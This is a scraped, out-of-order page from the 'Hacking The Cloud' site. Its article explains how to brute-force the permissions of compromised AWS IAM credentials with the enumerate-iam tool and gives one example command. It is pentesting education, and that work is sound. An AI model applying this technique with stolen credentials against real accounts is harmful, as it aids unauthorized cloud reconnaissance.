</a> </li> <li class=md-nav__item> <a href=../../../azure/run-command-abuse/ class=md-nav__link> <span class=md-ellipsis> Run Command Abuse </span> </a> </li> <li class=md-nav__item> <a href=../../../azure/soft-deleted-blobs/ class=md-nav__link> <span class=md-ellipsis> Soft Deleted Blobs </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4> <label class=md-nav__link for=__nav_4 id=__nav_4_label tabindex=0> <span class=md-ellipsis> GCP </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4> <span class="md-nav__icon md-icon"></span> GCP </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_1> <label class=md-nav__link for=__nav_4_1 id=__nav_4_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_1_label aria-expanded=false> <label class=md-nav__title for=__nav_4_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-nav__link> <span class=md-ellipsis> Default Account Information </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/gcp-buckets/ class=md-nav__link> <span class=md-ellipsis> Hunting GCP Buckets </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/metadata_in_google_cloud_instances/ class=md-nav__link> <span class=md-ellipsis> Metadata in Google Cloud Instances </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/general-knowledge/security-and-constraints/ class=md-nav__link> <span class=md-ellipsis> Security and Constraints </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_2> <label class=md-nav__link for=__nav_4_2 id=__nav_4_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_2_label aria-expanded=false> <label class=md-nav__title for=__nav_4_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/enumeration/enum_email_addresses/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of Google Workspace Email Addresses </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_all_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Org/Folder/Project Permissions + Individual Resource Permissions </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/enumeration/enumerate_service_account_permissions/ class=md-nav__link> <span class=md-ellipsis> Enumerate Service Account Permissions </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_3> <label class=md-nav__link for=__nav_4_3 id=__nav_4_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_3_label aria-expanded=false> <label class=md-nav__title for=__nav_4_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/exploitation/gcp_iam_privilege_escalation/ class=md-nav__link> <span class=md-ellipsis> Privilege Escalation in Google Cloud Platform </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_4_4> <label class=md-nav__link for=__nav_4_4 id=__nav_4_4_label tabindex=0> <span class=md-ellipsis> Capture the Flag </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_4_4_label aria-expanded=false> <label class=md-nav__title for=__nav_4_4> <span class="md-nav__icon md-icon"></span> Capture the Flag </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/gcp-goat/ class=md-nav__link> <span class=md-ellipsis> GCP Goat </span> </a> </li> <li class=md-nav__item> <a href=../../../gcp/capture_the_flag/thunder_ctf/ class=md-nav__link> <span class=md-ellipsis> Thunder CTF </span> </a> </li> </ul> </nav> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_5> <label class=md-nav__link for=__nav_5 id=__nav_5_label tabindex=0> <span class=md-ellipsis> Terraform </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_5_label aria-expanded=false> <label class=md-nav__title for=__nav_5> <span class="md-nav__icon md-icon"></span> Terraform </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-nav__link> <span class=md-ellipsis> Terraform ANSI Escape </span> </a> </li> <li class=md-nav__item> <a href=../../../terraform/terraform_enterprise_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Terraform Enterprise: Attack the Metadata Service </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_6> <label class=md-nav__link for=__nav_6 id=__nav_6_label tabindex=0> <span class=md-ellipsis> Blog </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_6_label aria-expanded=false> <label class=md-nav__title for=__nav_6> <span class="md-nav__icon md-icon"></span> Blog </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../../blog/2023_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2023 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/2022_wrap-up/ class=md-nav__link> <span class=md-ellipsis> 2022 Wrap-up </span> </a> </li> <li class=md-nav__item> <a href=../../../blog/v2_new_look/ class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud v2: New Look </span> </a> </li> </ul> </nav> </li> </ul> </nav> </div> </div> </div> <div class="md-sidebar md-sidebar--secondary" data-md-component=sidebar data-md-type=toc> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-apis class=md-nav__link> <span class=md-ellipsis> Updating APIs </span> </a> </li> <li class=md-nav__item> <a href=#opsec-considerations class=md-nav__link> <span class=md-ellipsis> OPSEC Considerations </span> </a> </li> </ul> </nav> </div> </div> </div> <div class=md-content data-md-component=content> <article class="md-content__inner md-typeset"> <p>Article by Nick Frichette</p> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/edit/main/content/aws/enumeration/brute_force_iam_permissions.md title="Edit this page" class="md-content__button md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M10 20H6V4h7v5h5v3.1l2-2V8l-6-6H6c-1.1 0-2 .9-2 2v16c0 1.1.9 2 2 2h4zm10.2-7c.1 0 .3.1.4.2l1.3 1.3c.2.2.2.6 0 .8l-1 1-2.1-2.1 1-1c.1-.1.2-.2.4-.2m0 3.9L14.1 23H12v-2.1l6.1-6.1z"/></svg> </a> <h1>Brute Force IAM Permissions</h1> <div class="grid cards"> <ul> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m23 12-2.44-2.78.34-3.68-3.61-.82-1.89-3.18L12 3 8.6 1.54 6.71 4.72l-3.61.81.34 3.68L1 12l2.44 2.78-.34 3.69 3.61.82 1.89 3.18L12 21l3.4 1.46 1.89-3.18 3.61-.82-.34-3.68zm-10 5h-2v-2h2zm0-4h-2V7h2z"/></svg></span> <strong>Technique seen in the wild</strong></p> <hr> <p>Reference: <a href=https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/#post-125981-_lfnmqg2a6dto>Compromised Cloud Compute Credentials: Case Studies From the Wild</a></p> </li> <li> <p><span class="twemoji lg middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="m21.71 20.29-1.42 1.42a1 1 0 0 1-1.41 0L7 9.85A3.8 3.8 0 0 1 6 10a4 4 0 0 1-3.78-5.3l2.54 2.54.53-.53 1.42-1.42.53-.53L4.7 2.22A4 4 0 0 1 10 6a3.8 3.8 0 0 1-.15 1l11.86 11.88a1 1 0 0 1 0 1.41M2.29 18.88a1 1 0 0 0 0 1.41l1.42 1.42a1 1 0 0 0 1.41 0l5.47-5.46-2.83-2.83M20 2l-4 2v2l-2.17 2.17 2 2L18 8h2l2-4Z"/></svg></span> <strong>Tools mentioned in this article</strong></p> <hr> <p><a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a>: Enumerate the permissions associated with an AWS credential set.</p> </li> </ul> </div> <p>When attacking AWS you may compromise credentials for an IAM user or role. This can be an excellent step to gain access to other resources, however it presents a problem for us; How do we know what permissions we have access to? While we may have context clues based on the name of the role/user or based on where we found them, this is hardly exhaustive or thorough. </p> <p>This leaves us with basically one option, brute force the permissions. To do this, we will try as many safe API calls as possible, seeing which ones fail and which ones succeed. Those that succeed are the permissions we have available to us. There are several tools to do this, however, here we will be covering <a href=https://github.com/andresriancho/enumerate-iam>enumerate-iam</a> by Andrés Riancho.</p> <p>To use enumerate-iam, simply pull a copy of the tool from GitHub, provide the credentials, and watch the magic happen. All calls by enumerate-iam are non-destructive, meaning only get and list operations are used. This reduces the risk of accidentally deleting something in a client's account.</p> <div class=highlight><pre><span></span><code>user@host:/enum$ ./enumerate-iam.py --access-key $AWS_ACCESS_KEY_ID --secret-key $AWS_SECRET_ACCESS_KEY --session-token $AWS_SESSION_TOKEN
+    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#updating-apis class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Brute Force IAM Permissions </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class=md-tabs__item> <a href=../../../azure/abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../../assets/logo.png alt=logo> </a> Hacking The Cloud </label> <div class=md-nav__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../.. class=md-nav__link> <span class=md-ellipsis> Hacking The Cloud </span> </a> </li> <li class="md-nav__item md-nav__item--active md-nav__item--section md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2 checked> <label class=md-nav__link for=__nav_2 id=__nav_2_label tabindex> <span class=md-ellipsis> AWS </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=1 aria-labelledby=__nav_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2> <span class="md-nav__icon md-icon"></span> AWS </label> <ul class=md-nav__list data-md-scrollfix> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_1> <label class=md-nav__link for=__nav_2_1 id=__nav_2_1_label tabindex=0> <span class=md-ellipsis> General Knowledge </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_1_label aria-expanded=false> <label class=md-nav__title for=__nav_2_1> <span class="md-nav__icon md-icon"></span> General Knowledge </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../general-knowledge/aws_cli_tips_and_tricks/ class=md-nav__link> <span class=md-ellipsis> AWS CLI Tips and Tricks </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/aws_organizations_defaults/ class=md-nav__link> <span class=md-ellipsis> AWS Organizations Defaults & Pivoting </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/block-expensive-actions-with-scps/ class=md-nav__link> <span class=md-ellipsis> Prevent Expensive AWS API Actions with SCPs </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/connection-tracking/ class=md-nav__link> <span class=md-ellipsis> Connection Tracking </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/iam-key-identifiers/ class=md-nav__link> <span class=md-ellipsis> IAM unique identifiers </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/intro_metadata_service/ class=md-nav__link> <span class=md-ellipsis> Introduction to the Instance Metadata Service </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/introduction_user_data/ class=md-nav__link> <span class=md-ellipsis> Introduction to User Data </span> </a> </li> <li class=md-nav__item> <a href=../../general-knowledge/using_stolen_iam_credentials/ class=md-nav__link> <span class=md-ellipsis> Using Stolen IAM Credentials </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--active md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_2 checked> <label class=md-nav__link for=__nav_2_2 id=__nav_2_2_label tabindex=0> <span class=md-ellipsis> Enumeration </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_2_label aria-expanded=true> <label class=md-nav__title for=__nav_2_2> <span class="md-nav__icon md-icon"></span> Enumeration </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../account_id_from_ec2/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from an EC2 Instance </span> </a> </li> <li class=md-nav__item> <a href=../account_id_from_s3_bucket/ class=md-nav__link> <span class=md-ellipsis> Enumerate AWS Account ID from a Public S3 Bucket </span> </a> </li> <li class="md-nav__item md-nav__item--active"> <input class="md-nav__toggle md-toggle" type=checkbox id=__toc> <label class="md-nav__link md-nav__link--active" for=__toc> <span class=md-ellipsis> Brute Force IAM Permissions </span> <span class="md-nav__icon md-icon"></span> </label> <a href=./ class="md-nav__link md-nav__link--active"> <span class=md-ellipsis> Brute Force IAM Permissions </span> </a> <nav class="md-nav md-nav--secondary" aria-label="Table of contents"> <label class=md-nav__title for=__toc> <span class="md-nav__icon md-icon"></span> Table of contents </label> <ul class=md-nav__list data-md-component=toc data-md-scrollfix> <li class=md-nav__item> <a href=#updating-apis class=md-nav__link> <span class=md-ellipsis> Updating APIs </span> </a> </li> <li class=md-nav__item> <a href=#opsec-considerations class=md-nav__link> <span class=md-ellipsis> OPSEC Considerations </span> </a> </li> </ul> </nav> </li> <li class=md-nav__item> <a href=../bypass_cognito_user_enumeration_controls/ class=md-nav__link> <span class=md-ellipsis> Bypass Cognito Account Enumeration Controls </span> </a> </li> <li class=md-nav__item> <a href=../discover_secrets_in_public_aims/ class=md-nav__link> <span class=md-ellipsis> Discover secrets in public AMIs </span> </a> </li> <li class=md-nav__item> <a href=../enum_iam_user_role/ class=md-nav__link> <span class=md-ellipsis> Unauthenticated Enumeration of IAM Users and Roles </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_principal_arn_from_unique_id/ class=md-nav__link> <span class=md-ellipsis> Derive a Principal ARN from an AWS Unique Identifier </span> </a> </li> <li class=md-nav__item> <a href=../enumerate_root_email_from_console/ class=md-nav__link> <span class=md-ellipsis> Enumerate Root User Email Address from the AWS Console </span> </a> </li> <li class=md-nav__item> <a href=../get-account-id-from-keys/ class=md-nav__link> <span class=md-ellipsis> Get Account ID from AWS Access Keys </span> </a> </li> <li class=md-nav__item> <a href=../loot_public_ebs_snapshots/ class=md-nav__link> <span class=md-ellipsis> Loot Public EBS Snapshots </span> </a> </li> <li class=md-nav__item> <a href=../whoami/ class=md-nav__link> <span class=md-ellipsis> Whoami - Get Principal Name From Keys </span> </a> </li> </ul> </nav> </li> <li class="md-nav__item md-nav__item--nested"> <input class="md-nav__toggle md-toggle " type=checkbox id=__nav_2_3> <label class=md-nav__link for=__nav_2_3 id=__nav_2_3_label tabindex=0> <span class=md-ellipsis> Exploitation </span> <span class="md-nav__icon md-icon"></span> </label> <nav class=md-nav data-md-level=2 aria-labelledby=__nav_2_3_label aria-expanded=false> <label class=md-nav__title for=__nav_2_3> <span class="md-nav__icon md-icon"></span> Exploitation </label> <ul class=md-nav__list data-md-scrollfix> <li class=md-nav__item> <a href=../../exploitation/abusing-container-registry/ class=md-nav__link> <span class=md-ellipsis> Abusing Elastic Container Registry for Lateral Movement </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_identity_pool_excessive_privileges/ class=md-nav__link> <span class=md-ellipsis> Abusing Overpermissioned AWS Cognito Identity Pools </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/cognito_user_self_signup/ class=md-nav__link> <span class=md-ellipsis> Abusing Unintended Self-Signup in AWS Cognito </span> </a> </li> <li class=md-nav__item> <a href=../../exploitation/ec2-metadata-ssrf/ class=md-nav__link> <span class=md-ellipsis> Steal EC2 Metadata Credentials via SSRF </span> 